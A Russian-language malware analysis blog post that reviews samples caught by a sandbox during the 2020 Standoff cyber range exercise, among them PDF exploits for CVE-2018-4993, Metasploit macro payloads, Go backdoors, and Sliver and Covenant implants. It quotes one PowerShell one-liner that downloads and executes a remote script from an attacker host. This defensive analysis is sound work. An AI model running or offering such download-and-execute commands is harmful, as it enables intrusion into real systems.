С 12 по 17 ноября 2020 года на киберполигоне The Standoff прошла крупнейшая битва между командами атакующих и защитников. Действия разворачивались в течение 123 часов в городе FF — цифровом двойнике мегаполиса с характерной инфраструктурой: морским портом, аэропортом, нефтяным месторождением, деловым центром, парком развлечений и другими объектами.



Двадцать девять команд атаковали инфраструктуру, добиваясь реализации бизнес-рисков, опасных для различных компаний, работающих в городе, а другие шесть команд мониторили и изучали активность нападающих, тренировали навыки противодействия и расследования инцидентов. В общем, все как в жизни. Хотя кроме нападающих и обороняющихся была еще третья сторона, которая пристально наблюдала за их действиями, — глобальный SOC (подробнее о нем читайте в другой нашей статье). Прозванный Большим Братом, SOC объединил несколько команд PT Expert Security Center, которые в режиме нон-стоп анализировали события при помощи специальных средств защиты. Одной из таких команд был отдел обнаружения вредоносного ПО, который с помощью песочницы PT Sandbox вылавливал и исследовал троянские программы «редтимеров». Напомним, PT Sandbox может:

• сканировать файл правилами PT ESC,
• сканировать файл движками внешних антивирусных вендоров,
• обнаруживать вредоносную активность после запуска в изолированной среде поведенческими правилами,
• анализировать сетевой трафик правилами PT Network Attack Discovery,
• анализировать дампы процессов правилами PT ESC.

Сегодня мы расскажем о том, что и как нам удалось поймать, а также о том, какие находки нас особенно впечатлили.


Общая статистика



Во время активных действий на The Standoff (с 12:00 12 ноября и до 15:00 17 ноября) песочница PT Sandbox обнаружила вредоносное ПО в 8609 файлах. Такие файлы поступали в систему анализа двумя способами:

• из трафика, перехваченные с помощью PT Network Attack Discovery;
• с почтовых серверов в инфраструктуре города FF — при анализе вложений в письмах.

Практически половина всех пойманных троянов была найдена в ночь с 15 на 16 ноября.



Мы провели огромную работу по валидации задетектированных объектов, каждый образец мы отнесли к той или иной группе. Иными словами, все зловреды были классифицированы по семействам.



В реальных инфраструктурах не происходит такого обилия атак за единицу времени, как это было во время кибербитвы. Кроме того, профиль атакующих in the wild обширнее: используется больше различных инструментов, в том числе ориентированных на какие-то специфичные действия (скажем, на получения финансовой выгоды или кибершпионаж). Однако с точки зрения представленных классов вредоносного ПО картина вполне правдоподобна. При типовых атаках преобладает использование уязвимостей в популярном софте и промежуточных загрузчиков (stagers) для получения первичного доступа.

Совместим дальнейший анализ получившейся диаграммы с разбором некоторых образцов.

CVE-2018-4993



Практически половину зловредов составили PDF-документы с эксплойтами для уязвимости CVE-2018-4993 в программе Adobe Acrobat Reader. Уязвимость заключается в автоматическом соединении с удаленным сервером по протоколу SMB. В результате такого соединения атакующий может получить Net-NTLM response жертвы на специально подготовленный Net-NTLM challenge.

MD5: 484e1fe323ad4696f252a142d97be2c2



При удачном развитии событий атакующий может восстановить учетные данные жертвы путем перебора возможных значений (брутфорса) или же использовать сетевые соединения для атаки NTLM-relay.

На рисунке ниже представлен пример того, что, собственно, мы и видели при обнаружении вредоносного документа с совершенно безобидным названием goodpdf.pdf.



Отмечу, что за 123 часа мы встретили случаи использования инструмента Responder, который используется атакующими, в частности, для вышеупомянутой атаки NTLM-relay.

MD5: 9bcec68fd23e12e09a89948ae4483e62



Metasploit



Около трети проанализированного ВПО мы отнесли к этой категории. Сюда вошли все вариации полезной нагрузки, сгенерированной с применением Metasploit, популярнейшего проекта для тестов на проникновение — не нуждающегося в гиперссылке ;) Добавлю, что здесь посчитаны те случаи, в которых мы не подтвердили использование какой-то конкретной полезной нагрузки. Рассмотрим в качестве примера один из образцов.

MD5: f7a8f6169df5b399cdac045e610b90f1

В сетевом трафике был перехвачен файл с подозрительным именем killerqueen.xlsm. Это офисный документ для Excel нового образца с макросом.



Извлеченный код макроса позволяет судить о запуске нового потока с позиционно независимым кодом сразу после открытия документа.



Получаем дизассемблированный листинг буфера данных, на который передается управление, и убеждаемся в том, что перед нами исполняемый код.





А в байтовом представлении легко улавливаются читаемые строки User Agent, используемого для HTTP-запросов, и IP-адрес атакующих.



Впрочем, образец был обнаружен PT Sandbox из-за использования макроса еще на начальной стадии, до всех этих ухищрений.



Goagent



Тринадцатого ноября в 07:46 по московскому времени мы обнаружили интересный образец. Изначально определенный уровень опасности был выявлен в аномальном сетевом трафике при поведенческом анализе, за счет чего образец получил вердикт трояна-загрузчика. Но гораздо более интересным во время статического анализа было срабатывание специального YARA-правила, которое определяет нелегитимные случаи использования упаковщика UPX.

MD5: 298fc6e08c81e40a166c62bab42459af



Особенность использования упаковщика UPX заключается в отсутствии имен секций, которые проставляет стандартная версия. Тем не менее код упаковщика остался неизменным. Также на рисунке ниже можно заметить еще один артефакт — версию 3.96 упаковщика UPX.



Внимательный читатель наверняка обратил внимание на еще один артефакт на рисунке: образец написан на языке Go, повсеместно набирающем популярность.

Проанализировав образец, мы не нашли его исходных кодов в публичных источниках. Тем не менее его возможности соответствуют джентельменскому набору инструмента для удаленного управления ПК жертвы:

• создание файлов,
• получение текущего каталога,
• получение содержимого текущего каталога,
• смена каталога,
• загрузка данных на компьютер жертвы,
• выгрузка данных с компьютера жертвы,
• выполнение команд через shell (cmd.exe в случае Windows),
• шифрование данных, отправляемых на управляющий сервер, с помощью RC4.





Стоит сказать, что этот бэкдор может выполнять и роль прокси: через каналы Go он может принимать и отправлять данные на управляющий сервер, играя роль оркестратора для дополнительных плагинов, расширяющих его возможности.

Отмечу, что мы оперативно проанализировали этот бэкдор, усовершенствовали поведенческие правила — и благополучно обнаруживали прочие его модификации при поведенческом анализе.



Конечно же, мы обнаружили аналогичную версию трояна, но скомпилированную уже под Linux, причем с той же особенностью: несмотря на упаковку, в PE-заголовке также отсутствует упоминание об UPX. Вот вам наглядное преимущество использования языка программирования с кросс-компилируемостью!

Прочие, но не менее интересные



Бегло пройдемся по некоторым другим семействам, образцов в которых было значительно меньше, но они от этого ничуть не менее любопытны.

MD5: f198d4402dc38620c5a75067a0ed568a

Еще один бэкдор на Go. На этот раз, правда, не упакованный, но зато все используемые строки закодированы операцией XOR с ключом, длина которого совпадает с длиной строки.



После деобфускации мы установили, что это вариация общедоступного фреймворка для постэксплуатации Sliver с частично урезанными возможностями взаимодействия с управляющим сервером.

Еще один образец был получен при следующей цепочке действий. На анализ попал однострочный скрипт для PowerShell:

powershell -c «IEX(New-Object System.Net.WebClient).DownloadString('http://*.*.34.54:8000/s5.ps1')»

В результате запуска с управляющего сервера был получен снова скрипт PowerShell, но значительно большего размера.



Полезная нагрузка сжата с помощью Deflate и вновь закодирована Base64.



В результате получен имплант постэксплуатационного фреймфорка на .NET Covenant.

MD5: 8a97322e3c0245c57b231417b060eec9



А вот пример минималистичного, но работоспособного реверс-шелла на PowerShell.
MD5: aaebe541fa164e77e2f90c9e67dbbaca



Просто, но эффективно.

Конечно, мы не могли не отметить инструменты для продвижения внутри сети — SharpHound и Rubeus.

MD5: 513d35b572b05caa1571a48db1ae24de



MD5: 98382aae04b763f096a3b868d9ba70fe



Отдельный интерес представляло наблюдение за тем, какую фантазию проявляли атакующие по части названий:



***
Итак, если подводить итоги нашей работы и работы нашего инструментария во время The Standoff, то:

• в каждом третьем случае совокупность антивирусных движков трех внешних вендоров пропустила вредоносное ПО;
• технологии статического и поведенческого детекта PT ESC не только существенно дополнили комбинацию классических средств защиты, но и показали достойный уровень обнаружения.



Фактически эта картина очередной раз подтверждает, что использование различных экспертных знаний, технологий, подходов к обнаружению существенно повышает уровень обнаружения вредоносного ПО. Эта же мысль относится и к использованию совокупности решений различных классов, которое повышает уровень информационной безопасности в целом.

Автор: Алексей Вишняков, руководитель отдела обнаружения вредоносного ПО компании Positive Technologies